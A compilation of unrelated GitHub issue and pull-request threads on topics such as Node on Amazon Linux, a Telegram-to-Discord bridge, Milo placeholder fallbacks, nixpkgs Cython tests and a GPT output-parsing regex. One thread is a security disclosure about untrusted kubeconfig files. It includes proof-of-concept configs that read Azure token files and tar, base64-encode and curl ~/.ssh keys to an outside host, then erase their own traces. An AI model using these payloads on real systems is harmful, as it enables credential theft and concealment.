Update to AmazonLinux 2023

Hi,
We are working with NodeJS inside AWS Nitro enclaves in production.
We are moving to NodeJS 18 as NodeJS 16 EoL is planned for 11th of September.
But no way to install NodeJS 18 on AmazonLinux 2 as glibc is not up-to-date.

Any plan to move AmazonLinux 2023 ?

Nevermind, I did not see that I can override the base image with the build argument BASE_IMAGE.
You can close it if it is not a priority for the moment.


Add play/pause events

Apologies for the delay.
I'm not sure this is useful, and there's some problems with autoplay already.
So we'll look to sort out these events in teh upcoming 2.0.
Best, Simon.


Won't run for some reason

Hi
I have set up the python venv and edited the config.yml for my needs however when i go to run the app it fails to start and this is all i get from the logs so i hope it helps
2023-05-17 03:18:53,753 - Sports Lister - WARNING - Discord Client's internal cache is not ready
2023-05-17 03:18:53,915 - Sports Lister - ERROR - No input channels found, exiting
I am unsure why im getting this error as the config definitely has the channel ID i wish to forward too. Any ideas would get helpful before I pull the rest of my hair out trying to figure it out lol

Hey there, something is off in the telegram_forwarders section of your config file.
Would you be able to share that snippet of your configuration?

To give you more context, when the bridge tries registering your forwarders, it doesn't find one or more Telegram channels you've put in the config file:
            if tg_channel_id in {dialog.name, dialog.entity.id}:  # type: ignore
                input_channels_entities.append(
                    InputChannel(dialog.entity.id, dialog.entity.access_hash))  # type: ignore
                discord_channel_mappings[forwarder_name] = discord_channel_config
                logger.info("Registered TG channel '%s' with ID %s with Discord channel config %s",
                            dialog.name, dialog.entity.id, discord_channel_config)  # type: ignore

    if not input_channels_entities:
        logger.error("No input channels found, exiting")
        sys.exit(1)

The config file in the forwarders section should look like the following:
  - forwarder_name: "some name"
    tg_channel_id: 123456789
    discord_channel_id:<PHONE_NUMBER>12345678
    mention_everyone: False
    strip_off_links: False
    forward_everything: True
    forward_hashtags:
      - name: "#ta"

  - forwarder_name: "some other name"
    tg_channel_id: 987654321
    discord_channel_id:<PHONE_NUMBER>23456789
    strip_off_links: False
    mention_everyone: False
    forward_everything: True
    mention_override:
      - tag: "#important"
        roles: ["everyone"]
    excluded_hashtags:
      - name: "#sponsored"
      - name: "#sponsor"
      - name: "#news"

Hello, the error you receive is expected because your config is wrong:
You're not providing the Telegram source tg_channel_id and the Discord destination discord_channel_id
# The channels map to discord channels.
telegram_forwarders:
  - forwarder_name: "Sports Listing"
    tg_channel_id: # <<<< here you need to specify the ID of the Telegram channel you want to use as source
    discord_channel_id:  # <<< here you need to specify the ID of the Discord channel you want as destination
    strip_off_links: False # whether to strip off links from the message
    mention_everyone: false
    forward_everything: true # whether forwarding everything regardless the hashtag

Hi
I do have both IDs in my config I've removed them when posting here

Hello again,
The error shows anyway that the Telegram channel was not found.
How did you fetch the ID of the channel?

I copied the id from the web version of the telegram client
e.g.
https://web.telegram.org/a/#6062540518
ID should then be<PHONE_NUMBER>
Or does it also need the hashtag at the start?

It doesn't need the hashtag, nor the -.
I've merged the development version into the main; it includes further diagnostics.
Please check all the changes; the breaking ones are listed in the README. Once you have adopted the configuration and changed the command you issue to start the bridge, execute it by setting the debug mode in the config.yml.
At the start, in the logs, you will find all the available and excluded channels. If the one you're trying to hook is listed in the excluded, it is either an old channel or a conversation.
Let me know.

Thanks for the update I'll test that out soon and report back my findings 😉

Just tested the latest commit and turns out it was my telegram channel was getting excluded probably due to it being a bot channel so switched to a standard channel and my test messages/images sent correctly.
Now I'll make a systemd script to auto run in the event of a server crash 🤣

Cool. I'm developing an API to handle the service as well. It is currently available but not ready for production. It lacks any auth.
Keep me posted if you use it. Any issue reported is much appreciated

Got it working on bootup so I will make a pull request with the changes etc.
Also is it possible to have an option that before messages etc are forwarded from telegram to discord that the channels in Discord have all the current messages deleted ready for the next batch being imported?


There is no way to perform AUTH in asynchronous mode.

There is no way to perform AUTH in asynchronous mode.
Please let me know what is possible

It should be possible, there is an example in the tests that might be helpful:
https://github.com/Nordix/hiredis-cluster/blob/16f8abccb3700b862123b0c046b479b93ea6e541/tests/ct_connection.c#L345C1-L372

It should be possible, there is an example in the tests that might be helpful: https://github.com/Nordix/hiredis-cluster/blob/16f8abccb3700b862123b0c046b479b93ea6e541/tests/ct_connection.c#L345C1-L372

Thank you.
This is work fine.


BUG:Save changes not worked

Expected behavior
When editing the profile, the changes should be saved successfully and reflected immediately in the user's profile.
Current behavior
After editing the profile and attempting to save the changes, the system throws an error, and the profile information is not updated.
Steps to reproduce
1.Log in to the website if u don't have acc then make it.
2.Go to the dashboard then setting
3.Enter details.Click on the 'Save' button to apply changes.
4.Observe the error response and failure to save changes.

@Vaishnavi1047 start working


Can't compile when path to script contains a space

When the root directory contains a space, the compilation won't work (on Windows at least):

Executing the same script with no space in the root directory runs great:

Thanks for catching that. Wrapping the call to the desired file in the SQL script in quotes now.


Why we have WAF in spoke virtual network, when we can have it centrally in Hub Vnet

Hello Team,
In this reference architecture, we are having WAF in Spoke vnet
Can you please explain why to have this in Spoke vnet when we can manage it centrally in Hub Vnet. Any considerations on this?

Regards,

thanks for your inquiry @nitinkhandelwal26, although the Azure Application Gateway could've been deployed on another vNet (e.g. hub), in this reference implementation the desired is to get different instances of Azure Application Gateway per cluster, so that's the reason why it gets provisioned into the spoke. Alternatively, you could consider having a single Azure Application Gateway for all your clusters if that suits better in your solution, and in that scenario you might consider moving it to your hub.
In other words, the WAF is meant to be cluster-specific in this reference implementation, so it is sit as close to the cluster as possible.

To add on to the advice offered by @ferantivero, Generally speaking @nitinkhandelwal26, Microsoft recommends single-tenant clusters.  Meaning clusters that are context-bound to solve for a single purpose (application boundry), etc. This is in contrast to a cluster that holds many disperate workloads. This allows the application ops team to manage the lifecycle of their application as close to "end-to-end" as possible.  This means, if you think about what would "go away" if the application were to "go away" we want to group those azure resources as reasonably together as possible.  Now, more to your actual point -- following that same model, if App Gateway was a "shared" resource (in a spoke for example), then instead of the gateway going away, you'd have route configuration going away in that shared service.  That means the lifecycle of AppGateway is longer than the lifecycle of the cluster.  That's FINE to do, it just involves transferring ownership and setting up lifecycle/onboarding/offboarding policies/governance around that resource.  But it does give you "centralize management" -- so it's a tradeoff (as are so many things)!  If you wish to treat Application Gateway as a managed service offering for a section of your org, you're then responsible for all that means around that, and you decouple the "management" of it from your workload.
We like to, as a default stance, empower application ops teams to manage their own resources to the fullest extent.  We drew a line between the networking team (the foundational hub-spoke) and the workload team (everything IN the spoke).  But you're free to draw that line wherever it makes sense for your organization roles/responsibilities, cost constraints, and "blast radius" considerations for a faulty resource (or misconfiguration).
Just think about the birth/death (lifecycle) of those services, and "break out" those services into IaC templates that reflect that.  Just also be aware of how you make "cross customer (workload)" configuration to those central resources in a way that is manageable and redeployable in a recovery situation.

Thank you so much for explanation


HWKAPM-619 Fix thread leak when looping waiting for collector configu…

…ration

@pavolloffay Can you review please?
Related to: https://issues.jboss.org/browse/HWKAPM-619

LGTM :+1:


Template is only visible in Text view

We currently use Jira v8.20.5 Datacenter and although the template does populate the description field it is only visible in the Text view for some reason the Visual view will not always render the template even when switching between Text and Visual views.
The issue seems fairly random and goes away if I edit the description in Text view before switching to Visual.

I think the descriptionChangeEvent needs to be triggered when a user switches between Text and Visual views. I'll see if I can work on it.


[MWPW-123840] Placeholders update to handle multiple locales/sheets

This updates the placeholders logic so that missing values in locales other than en-US are replaced by English labels, if they are authored. Say that we're on a ch-DE page and need a label for "No results found". However, the no-results key from the placeholders Excel document does not have a value for German, but does have one for English. So instead of returning the key name without hyphens for missing labels, such as "no results", we get the English value and use it, as in "No results found". If the English value is also missing, then the key name replacement is used. In this scenario, it might be worth logging some messages to LANA to catch such issues.
What was done:

the fetchPlaceholders method now caches data for any locales that have been fetched so far, to avoid unnecessary network requests for future placeholder replacement calls;
the fetchPlaceholders method can now fetch individual sheets of an Excel document. We wanted to separate concerns for authors interested in different areas of the site (general pages vs Gnav for example) and also avoid loading large sheets that might not be relevant in the current context;
a new replaceKeyArray method has been exported. It can be used to replace multiple placeholders at once by passing an array of keys to the method.

Is required for: MWPW-123840
Test URLs:

Before:https://main--milo--adobecom.hlx.page/drafts/ramuntea/hello-milo?martech=off
After: https://main--milo--overmyheadandbody.hlx.page/drafts/ramuntea/hello-milo?martech=off
After for ch-DE: https://main--milo--overmyheadandbody.hlx.page/ch_de/drafts/ramuntea/hello-milo?martech=off

Added the 'Do Not Merge' label until I fix unit tests.

Hi @chrischrischris & @auniverseaway! In trying to follow the guidelines suggested in https://github.com/orgs/adobecom/teams/community/discussions/4, I was hoping you could also add the verified label to the PR so I could merge it and unblock a PR from the feds-gnav branch. Thanks!

@overmyheadandbody
Thanks for the PR. I'm confused by it, though. I'm wondering if it's that because there's not anything accompanying the PR that is using the new feature. I see a function changed, it's now exported, but it's opaque who is actually using this change, and how.
I also don't understand the caching mechanism you're referring to, either. There's one fetch request to the locale, but I don't see anything that would suggest en-US is cached somewhere for fallback purposes. I'm probably missing something here.
Do you think you could add some locale-based samples that show the use cases you're referring to?
I don't know that I'm excited about offering the raw fetchPlacehoders function out to consumers unless there is a real need. I much prefer to keep those details internal to the module. How are replaceKey and replaceText features not working for you that would suggest you need the fetchPlaceholder function be available?

Hey @auniverseaway! Thanks for the feedback!
Indeed, it looks confusing without actual usage. It will be used as part of the feds-gnav branch, but since it touches on core Milo functionality, I thought I'd bring it up now. I'll try to summarise:
Sheet parameter
FEDS & Gnav have a different web production team, given the large amount of content spread across locales that needs to be maintained. Having a separate FEDS-specific sheet (already implemented for us-EN and ch-DE) allows for more focus on relevant areas for authors, should avoid unintended cross-platform edits of similar labels and should be good for overall maintainability of sheets; from a performance standpoint, this should also be beneficial, since calls are more focused on useful data for the context.
Locales and fallback mechanism
The current approach in Milo is that if a label for a placeholder doesn't exist, then it's replaced with the key name. In reality, we usually use short key names for large content, so this approach is not always ideal. For example the value for user-help is Please try again selecting fewer filters or clearing all selections.. So, currently, if the ch-DE placeholders sheet doesn't have a label for user-help, then it will be replaced with user help.
English is the first locale populated by authors, so we could assume most placeholders will have an English label available. That's why, in the Gnav on Milo refactor, we're implementing a slightly different placeholders approach: if the ch-DE placeholders sheet doesn't have a label for user-help, fetch the sheet for us-EN and get the content from there.
Since there might be multiple such placeholders, we of course don't want to perform any additional network requests, so all of the already fetched locales and sheets are stored in the placeholders object.
Quick example
us-EN sheet has these placeholders: search|Search, sign-in|Sign In;
ch-DE sheet has these placeholder: search|Suchen;
A new method is defined in Gnav utilities, getPlaceholders, which would be called with an array of keys to be fetched.
// current locale is us-EN;
// both labels are available,
// Milo fetchPlaceholders method is called,
// caches labels under the 'us-EN' property
getPlaceholders(['search', 'sign-in']); // result is ['Search', 'Sign In']

// current locale is ch-DE;
// just one label is available,
// Milo fetchPlaceholders method is called to get the German labels,
// caches them under the 'ch-DE' property;
// Milo fetchPlaceholders method is called again to get the English labels,
// caches them under the 'us-EN' property
getPlaceholders(['search', 'sign-in']); // result is ['Suchen', 'Sign In']

Why replaceText is not enough
The method assumes all placeholders have a label available in a single language. As stated previously, different placeholders may have either locale-specific labels or a default English one.
Alternative approach
Since FEDS & Gnav will use a separate sheet in the placeholders document anyway, thus making a different request, we could have our own method to fetch placeholders. However, I was trying to avoid code duplication and thought that other teams might want to use other sheets and have multiple locale translations available if needed. If that's not the case, we can definitely contain this approach just to FEDS. If this is the case, I could potentially update the replaceText and replaceKey methods in Milo to reflect our us-EN locale fallback approach, but I fear this might lead to a bit of friction 🙂

Hi @auniverseaway! Could we get any additional feedback on this, please? Or, if it's good to go, could you add the appropriate labels and merge it? Thanks!

Hi @auniverseaway! Could we get any additional feedback on this, please? Or, if it's good to go, could you add the appropriate labels and merge it? Thanks!

Had a chat with @vhargrave who offered some details on different use-cases for the content root. Made the appropriate changes, things should be working now.

@narcis-radu what do you want to do about this with your WIP work? I would prefer we keep this and all placeholder work stays out of gnav.

Hi, @auniverseaway! This PR is not WIP, you can go ahead and merge it, it's been laying around for quite some time. The placeholders work that has been done in the gnav feature branch has two layers:

An exact copy-paste of the code from this PR so we can move forward with our development
Further exploration of some ideas to fetch additional data from placeholder sheets. We likely don't have a good use-case for that extra data for now, so the code will be reverted to how it is described in 1.

Thus, the code from this PR will be the single source of placeholder truth.
This being said, we will have to provide another config when using these methods, since the Gnav content should be centralised in one place, regardless of the consumer and their particular set of placeholders. This will be addressed in the Gnav feature branch.

Hi @auniverseaway,
Regression for the placeholders logic was performed and things are working as expected.
We can go ahead with merging the PR.
I can’t add the “verified” label myself, how could I get permission to do this?
Thx

I added the verified label for now until you get the correct permissions @SilviuLCF


Add Python 3.10 build configuration

Codecov Report

Merging #6 (8ff2ffe) into main (cb33975) will not change coverage.
The diff coverage is n/a.

@@           Coverage Diff           @@
##             main       #6   +/-   ##
=======================================
  Coverage   85.63%   85.63%
=======================================
  Files          11       11
  Lines         933      933
  Branches      140      140
=======================================
  Hits          799      799
  Misses        108      108
  Partials       26       26

Flag
Coverage Δ

macos-latest
?

python-3.10
85.63% <ø> (?)

python-3.8
85.63% <ø> (ø)

python-3.9
?

ubuntu-latest
85.63% <ø> (ø)

unittests
85.63% <ø> (ø)

windows-latest
?

Flags with carried forward coverage won't be shown. Click here to find out more.

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update cb33975...8ff2ffe. Read the comment docs.


python310Packages.cython: run tests

@FRidh Any idea how to fix this error?
distutils.errors.DistutilsSetupError: each element of 'ext_modules' option must be an Extension instance or 2-tuple

Description of changes

Things done

Built on platform(s)

[ ] x86_64-linux
[ ] aarch64-linux
[ ] x86_64-darwin
[ ] aarch64-darwin

[ ] For non-Linux: Is sandbox = true set in nix.conf? (See Nix manual)
[ ] Tested, as applicable:

NixOS test(s) (look inside nixos/tests)
and/or package tests
or, for functions and "core" functionality, tests in lib/tests or pkgs/test
made sure NixOS tests are linked to the relevant packages

[ ] Tested compilation of all packages that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review rev HEAD". Note: all changes have to be committed, also see nixpkgs-review usage
[ ] Tested basic functionality of all binary files (usually in ./result/bin/)
23.05 Release Notes (or backporting 22.11 Release notes)

[ ] (Package updates) Added a release notes entry if the change is major or breaking
[ ] (Module updates) Added a release notes entry if the change is significant
[ ] (Module addition) Added a release notes entry if adding a new NixOS module
[ ] (Release notes changes) Ran nixos/doc/manual/md-to-db.sh to update generated release notes

[x] Fits CONTRIBUTING.md.

Confusing.
Adding debugging statements:
   checkPhase = ''
+    sed -i '1120i\            import inspect' runtests.py
+    sed -i '1121i\            print(type(build_extension).__mro__)' runtests.py
+    sed -i '1122i\            print(isinstance(build_extension.extensions[0], inspect.getmodule(type(build_extension).__mro__[1]).Extension))' runtests.py
+    sed -i '1122i\            print(inspect.getmodule(type(build_extension).__mro__[1]).Extension)' runtests.py
+    sed -i '1123i\            print(build_extension.extensions)' runtests.py
     export HOME="$NIX_BUILD_TOP"

results in e.g.
(<class '__main__.build_ext'>, <class 'distutils.command.build_ext.build_ext'>, <class 'distutils.cmd.Command'>, <class 'object'>)
<class 'setuptools.extension.Extension'>
[<setuptools.extension.Extension('a_capi') at 0x7fde1b5f90>]
True

Suggesting:

The extension passed in build_extension.extensions is a setuptools.extension.Extension
The Extension that build_ext.check_extensions_list() is type-comparing it with is also setuptools.extension.Extension
If we do the "same" isinstance check outside distutils it seems to pass ok.


object_store: Generate dev docs at o.a.o

Let's generate dev docs of object_store_opendal at o.a.o like we do for opendal rust core.

Already generated.


modules: Updated Percepio TraceRecorder to version 4.8.0.hotfix2

This version is essentially a rewrite of the TraceRecorder. Also, this version introduces support for the syscalls extension, which reduces the amount of bandwidth being used for tracing syscalls.

bsim tests failing unrelated.


SQL Server 2016/2017 - Support for Windows Server 2022

Hi,
Could we also please have information on whether SQL Server 2016/2017 will be supported on Windows Server 2022.
Thanks!

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: f9b411a1-f282-d77e-a497-83d08a963549
Version Independent ID: f896a7f4-f08a-4b67-6d98-c14a0e1a969e
Content: SQL Server 2016 & 2017: Hardware & software requirements - SQL Server
Content Source: docs/sql-server/install/hardware-and-software-requirements-for-installing-sql-server.md
Product: sql
Technology: release-landing
GitHub Login: @cawrites
Microsoft Alias: chadam

@micoolpaul -- thank you for your question.
@cawrites -- please look into this issue.

@micoolpaul regarding your question:
"We we only be supporting those releases in active support on the new OS: SQL17, SQL19, and eventually SQL22."
We encourage you continue to look at our content for future updates. Thank you for contacting Microsoft.


Checkbox clickable outside of bounding box

Description
In the DeleteConfirmationDrawer, the checkbox intended for confirming the deletion is clickable even outside of its label and bounding box.
To Reproduce
Steps to reproduce the behavior:

Navigate to the “Delete category” confirmation drawer
Position the cursor to the right of the "Yes, -------" label, in the empty space
Attempt to click to select the checkbox

Screenshots or videos
https://github.com/user-attachments/assets/7d3848f2-23d4-45c1-b28b-3e512a1b0163
Expected Behavior
The checkbox should only be selectable when clicking directly within its visible bounding box and on the label itself.
Actual Behavior
The checkbox can be selected even when clicking in the empty space to the right of the label.

Somewhat it seems not applied so i need to reopen this issue


Use sync.Pool to reuse objects when networkanalyzer generates a new request

Related to issue #63
The GaugeGroup object is put back to the pool once it passes through the processing chain. Note we reuse the objects created before when the NetworkAnalyzer generates a new request, and all the labels added before are still there, so there may be some unuseful labels that have to be discarded by later processors.
We also add an Update method to attributeMap to make the labels reusable.

LGTM,Maybe we can also use sync.pool in processor and exporter later

Right! I have written that down in https://github.com/Kindling-project/kindling/issues/63#issuecomment-1056567029. We could track the progress on it.


Unexpected consequences of using untrusted kubeconfig files

We reached out the Kubernetes security team with the following report, and the only response within a week was from Brandon Philips, an advice to open a public issue here.
We recently realized an issue about the security of Kubeconfig files, especially when used for the exchange of credentials and for accessing Kubernetes API servers. It is common practice to make Kubeconfig files available for download.
The issue is that most users are not aware that Kubeconfig files can lead to the execution of malicious shell commands or to the exposure of arbitrary files. Of course security-aware interactive users, or the developers of automated systems take care of inspecting the contents of the Kubeconfig file before use, but it is not something that you trivially identify as a vulnerable interface.
There are two broad set of issues:

A Kubeconfig file exposes users (Kubernetes administrators, developers) to the risk of their local systems being compromised.
Automated systems like public CI/CDs or other similar services (dashboards, service meshes, etc.) may get compromised through the sdk client executing insecure operations.

The first one affects kubectl users primarily, but we haven’t found any public discussions about this topic so far, neither a single warning in the documentation.
Our suggestion would be to start a discussion now and to consider some of the following solutions. Some of these are specific to kubectl, while others could be implemented in the Go client:

Build a user- or system global configurable list of commands that are supported for exec()-ing from Kubernetes just like the /etc/shells of Unix systems. Installed packages, like the gcloud tool, could add themselves to the list.
Require all the commands exec()-ed from Kubernetes to be in ~/.kube/bin or another folder used for this single purpose, require commands to be basenames (no slashes), and use this folder as the only item of PATH. Administrators or package installers may create the needed symlinks.
Add a kubectl command-line flag and sdk client config parameter for allowing reading files outside the folder of the kubeconfig, or ~/.kube, or some other well-defined scope (InClusterConfig could set it as well).
Add an option to the sdk client to replace the Exec interface used for these functions, for example to restrict the environment variables to share, or implement a restricted environment to run these commands inside, for example to run them in separate K8s Tasks.
Create a “base” kubeconfig that is not replaced easily, and unlike the normal kubeconfig, can set sensitive values like the list of allowed commands. This might be controlled by a new env var and a default value.
Implement a better API server access/credentials interchange format, that could be used in a way that is independent from kubeconfig. This could contain a single cluster and user definition, and may reside in a place like ~/.kube/cluster.d or context.d. This might make it possible to keep the above-mentioned sensitive flags in the kubeconfig, which is not supposed to be replaced with another configuration as an everyday practice.

Find below a few examples for illustration of the problem (use env KUBECONFIG=file kubectl version to try them):

Leak Azure tokens on the machine
Leak SSH private keys and remove traces
Leak ~/.ssh (private keys and known hosts) -- different method

==> dataleak-poc/file <==
# send any shorter single-line file readable by the user to an arbitrary address as a http header
# as an example, Azure credentials are in a single-line json, and can be easily leaked unless there are too many expired tokens
# in a kubernetes pod accepting kubeconfigs from users, this might be a mounted secret too

apiVersion: v1
kind: Config
clusters:
- cluster:
    server: 'https://eipu5nae.free.beeceptor.com'
  name: poc
contexts:
- context:
    cluster: poc
    user: poc
  name: poc
current-context: poc
users:
- name: poc
  user:
    tokenFile: ../.azure/accessTokens.json.dontdoit  # assume that this kubeconfig file is in ~/Downloads (and is not too long...)

==> exec-poc/file <==
# execute arbitrary commands with the exec authenticator
# in the example, leak the ssh keys (.pub is optional) and remove the traces
apiVersion: v1
clusters:
- cluster:
    server: https://eipu5nae.free.beeceptor.com/
  name: poc
contexts:
- context:
    cluster: poc
    user: poc
  name: poc
current-context: poc
kind: Config
preferences: {}
users:
- name: poc
  user:
    exec:
      apiVersion: client.authentication.k8s.io/v1alpha1
      command: sh
      args:
      - -c
      - "curl<EMAIL_ADDRESS>https://eipu5nae.free.beeceptor.com/exec; sed -i -e '/exec:/,$ d' \"$KUBECONFIG\" || true"

==> gcp-auth-exec-poc/file <==
# execute arbitrary commands with the gcp auth provider
# in the example, leak the ssh keys
apiVersion: v1
clusters:
- cluster:
    server: https://eipu5nae.free.beeceptor.com/
  name: poc
contexts:
- context:
    cluster: poc
    user: poc
  name: poc
current-context: poc
kind: Config
preferences: {}
users:
- name: poc
  user:
    auth-provider:
      config:
        cmd-args: -c IFS=_;cmd="eval_tar_c_$HOME/.ssh.dontdoit|base64|curl_-d@-_https://eipu5nae.free.beeceptor.com";$cmd
        cmd-path: /bin/sh
      name: gcp

/reopen

once a kubenconfig is downloaded from the internet it's responsibility of the administrator to verify the validity of the kubeconfig before using the kubeconfig.
similar goes for bash scripts:
curl -sfL https://somewebsite.com | sh -

^ this is a bad practice.

@neolit123 Bad practice or not: if we can prevent people from footgunning themselves, we should consider doing so.


A way to track trip cancelations

It would be nice to have some way to track how many trips were canceled due to overcrowding globally and for each station in particular (in the last relevant time interval).
The player should be able to see what stations are too popular to handle the demand in order to be able to improve the situation.

Didn't want to bring Harmony in, but it seems I have to...

If implemented, would there be some way to indicate destination?
For example, if shown in an info view (usual red highlighting of buildings etc) if user clicks a transport building (are bus stops even clickable?) could the destinations of cancelled trips be colored blue and the sources of those trips colored yellow?


Add support for custom object detection base model

I stumbled upon this project from a LinkedIn post, and it peeked my interest as I've implemented a TensorFlow component in Home Assistant, a popular open source home automation platform.
One of the requests I get frequently is the ability to train and use custom object labels.  Up to this point, I've told people that the effort required to do so is too great for most users.
On to the feature request... I noticed here that you are defaulting the model to an SSD MobileNet model.  How large is the effort to allow users to choose the base model to train?  I, for example, am using the faster_rcnn_inception_v2_coco model since the SSD model is not accurate enough for the distance and angle of the cameras I have mounted.

It shouldn’t be too difficult to add this. At the moment you can actually provide your own training zip. So instead of running cacli train Try running cacli train path_to_zip

Thanks for the quick reply.  Can you give me some quick pointers as to what would need to change in the training folder?  Would it simply be to link to a different model, or will I need to modify the training pipeline.config file as well?  Any outline would be appreciated.

You would need to modify which checkpoint is being downloaded in the data prep script and you would need to grab the corresponding pipeline.config. Run python setup.py all which will clone the TensorFlow object detection api repo. Then after you finish making all the necessary changes run that same command again to generate the training.zip

Another thing to note, is that the core ml/tflite conversions won’t work anymore, they are only compatible with ssd at the moment

I will play around with it.  If it’s something you would like to support as a configuration option in the future, I’ll leave this issue open and possibly take a stab at implementing if you haven’t gotten to it by then.

That would be great :)

hi,
I am getting this error"(Using settings from config.yaml)
error Invalid Cloud Object Storage credentials."
how to change or start process again


Render Image Stretch Maybe problen in aspect ratio

When i run main.cpp code that rendered stretch image i think this is problem of aspect ratio.

This bug is solved.
https://github.com/WithSJ/Eclectus-Render-Engine/commit/fb50b9c5c79595f9ec79aa1831ae978e1141dee2


color is not correct after model was set to undefined

example http://plnkr.co/edit/FznZuypDfawYP6CWcTqv?p=preview

Fixed in commit 202cdc50fcedab44d357a101f0a468304d105b13 and released in v1.0.3


Yank MLJBase version 0.12.9

@ablaom Can you confirm that I have yanked the appropriate release?

Yes, that's the release I want to yank.


Request for Rundiffusion XL weights and an Impact node error

Please could you add the weights for https://civitai.com/models/120964/rundiffusion-xl ?
Also, I'm having an issue with a KeyError when using 'DetailerForEach' in my workflow. It looks like it is part of the impact pack so not sure what's going on there. Any ideas?

Looking into this further, it seems like recent updates to Impact have made some breaking changes, so the forked version you're using needs updating to re-align.

Tried forking your Impact repo and merging the latest commits from the original Impact and it seemed to fix the issue.
Now there's an issue with Photomaker having "Missing key(s) in state_dict" and "Unexpected key(s) in state_dict".

I'm adding rundiffusionXL_beta.safetensors to the supported checkpoints

I've updated ImpactPack to the latest version:
https://github.com/fofr/cog-comfyui/commit/291de14241310662583e7784398e73ba0ebbf8f9

I've also fixed the PhotoMaker implementation in #65

Amazing, thanks!


[BUG] get_search_terms() is returning the terms in a json script context

Describe the bug
Sometimes the get_search_terms function is returning something like this:
  ```json
  [
    "Supreme Court ruling",
    "Presidential immunity",
    "January 6 insurrection",
    "Judicial scrutiny",
    "High court decision",
    "Oval Office"
  ]```

To Reproduce
Just try using more complex subjects.
Expected behavior
Should return only in this format ["search term 1", "search term 2", "search term 3"]
Desktop (please complete the following information):

OS: Windows 11
AI Model: GPT 3.5 and 4

Additional context
Changing the prompt is enough to fix it.

Am I missing something or is the desired format and actual format identical?

No, bacause is returning literally the json with the single quotes

gpt.py already has a failsafe that takes care of incorrectly formatted replies from chatgpt.

 print(colored("[*] GPT returned an unformatted response. Attempting to clean...", "yellow"))

        # Attempt to extract list-like string and convert to list
        match = re.search(r'\["(?:[^"\\]|\\.)*"(?:,\s*"[^"\\]*")*\]', response)
        if match:
            try:
                search_terms = json.loads(match.group())
            except json.JSONDecodeError:
                print(colored("[-] Could not parse response.", "red"))
                return []

Unless this "bug" prevents the script from running sucessfully it's not an issue.

Yes, but for this case the re expression is not working:
Take a look here:
import json, re
def get_search_terms() -> list[str]:
    response = '''\
```json
  [
    "Supreme Court ruling",
    "Presidential immunity",
    "January 6 insurrection",
    "Judicial scrutiny",
    "High court decision",
    "Oval Office"
  ]```'''
    # Parse response into a list of search terms
    search_terms = []

    try:
        search_terms = json.loads(response)
        if not isinstance(search_terms, list) or not all(isinstance(term, str) for term in search_terms):
            raise ValueError("Response is not a list of strings.")

    except (json.JSONDecodeError, ValueError):
        print("[*] GPT returned an unformatted response. Attempting to clean...")

        # Attempt to extract list-like string and convert to list
        match = re.search(r'\["(?:[^"\\]|\\.)*"(?:,\s*"[^"\\]*")*\]', response)
        if match:
            try:
                search_terms = json.loads(match.group())
            except json.JSONDecodeError:
                print("[-] Could not parse response.", "red")
                return []

    # Let user know
    print(f"\nGenerated {len(search_terms)} search terms: {', '.join(search_terms)}")

    # Return search terms
    return search_terms

print(get_search_terms())

This regex should fix it in this partricular case, but I don't know if it breaks any other formatting issues:
Also it keeps the white spaces, not sure if this causes trouble further down.
match = re.search(r'\[\s*"(?:[^"\\]|\\.)*"(?:,\s*"[^"\\]*")*\s*\]', response)

Couldn't one just hardcode a .replace("```","") ?
Or would that also cause more problems?

The problem are the additional whitespaces. The regex I posted takes care of that. Please test it.

Dude what is with closing stuff and not commenting on it

Dude what is with closing stuff and not commenting on it

Most changes do not make sense, and here, I thought the issue was resolved, as radry mentioned his Regex works.

The issue is only resolved when it was tested and added to the code. I didn't open a pull request and you didn't add it either.

The issue is only resolved when it was tested and added to the code. I didn't open a pull request and you didn't add it either. I only tested the regex with an online regex tool, not the code itself.

Fair enough, I forgot to add to the README that I will not be responding to any issues anymore (already added regarding PRs).

I will not be responding to any issues anymore (already added regarding PRs).

So this project is abandoned?

I will not be responding to any issues anymore (already added regarding PRs).

So this project is abandoned?

probably. i already have a fork that's ready ;)

I will not be responding to any issues anymore (already added regarding PRs).

So this project is abandoned?

Yes


[ISSUE-940] Some vulnerabilities found in components reported by Black Duck

Purpose
To solve issue #940 .
Changes: upgrade base images versions to a fixed one.
PR checklist

[ ] Add link to the issue
[ ] Choose Project
[ ] Choose PR label
[ ] New unit tests added
[ ] Modified code has meaningful comments
[ ] All TODOs are linked with the issues
[ ] All comments are resolved

Testing
See internal Jira ticket.

another issue is why e2e test is skipped?  do you know the reason ?

@libzhang workflow skipped, maybe because this PR is based on an old commit.

@libzhang code changes of workflow are merged to this PR. please approve and let's see if skipped.

@libzhang the reason it was skipped is that currently e2e has an if condition, we need to open a new ticket for refactoring e2e script.


fix(package): Turn into working CLI

This fixes the configuration problem that prevented Calavera from running as a CLI util.

:tada: This PR is included in version 1.2.2 :tada:
The release is available on:

npm package (@latest dist-tag)
GitHub release

Your semantic-release bot :package::rocket:


Enable .Net analyzers

The following rules are currently turned off and will be activated in future PRs
CA1001: Types that own disposable fields should be disposable
CA1003: Use generic event handler instances
CA1012: Abstract types should not have public constructors
CA1014: Mark assemblies with CLSCompliantAttribute
CA1031: Do not catch general exception types
CA1032: Implement standard exception constructors
CA1051: Do not declare visible instance fields
CA1052: Static holder types should be Static or NotInheritable
CA1064: Exceptions should be public
CA1066: Implement IEquatable when overriding Equals
CA1068: CancellationToken parameters must come last
CA1304: Specify CultureInfo
CA1305: Specify IFormatProvider
CA1307: Specify StringComparison for clarity
CA1309: Use ordinal StringComparison
CA1310: Specify StringComparison for correctness
CA1507: Use nameof in place of string
CA1508: Avoid dead conditional code
CA1711: Identifiers should not have incorrect suffix
CA1716: Identifiers should not match keywords
CA1724: Type names should not match namespaces
CA1725: Parameter names should match base declaration
CA1801: Review unused parameters
CA1802: Use Literals Where Appropriate
CA1805: Do not initialize unnecessarily
CA1806: Do not ignore method results
CA1810: Initialize reference type static fields inline
CA1812: Avoid uninstantiated internal classes
CA1813: Avoid unsealed attributes
CA1814: Prefer jagged arrays over multidimensional
CA1815: Override equals and operator equals on value types
CA1819: Properties should not return arrays
CA1820: Test for empty strings using string length
CA1822: Mark members as static
CA1823: Avoid unused private fields
CA1825: Avoid zero-length array allocations
CA1826: Use property instead of Linq Enumerable method
CA1827: Do not use Count/LongCount when Any can be used
CA1829: Use Length/Count property instead of Enumerable.Count method
CA1830: Prefer strongly-typed Append and Insert method overloads on StringBuilder.
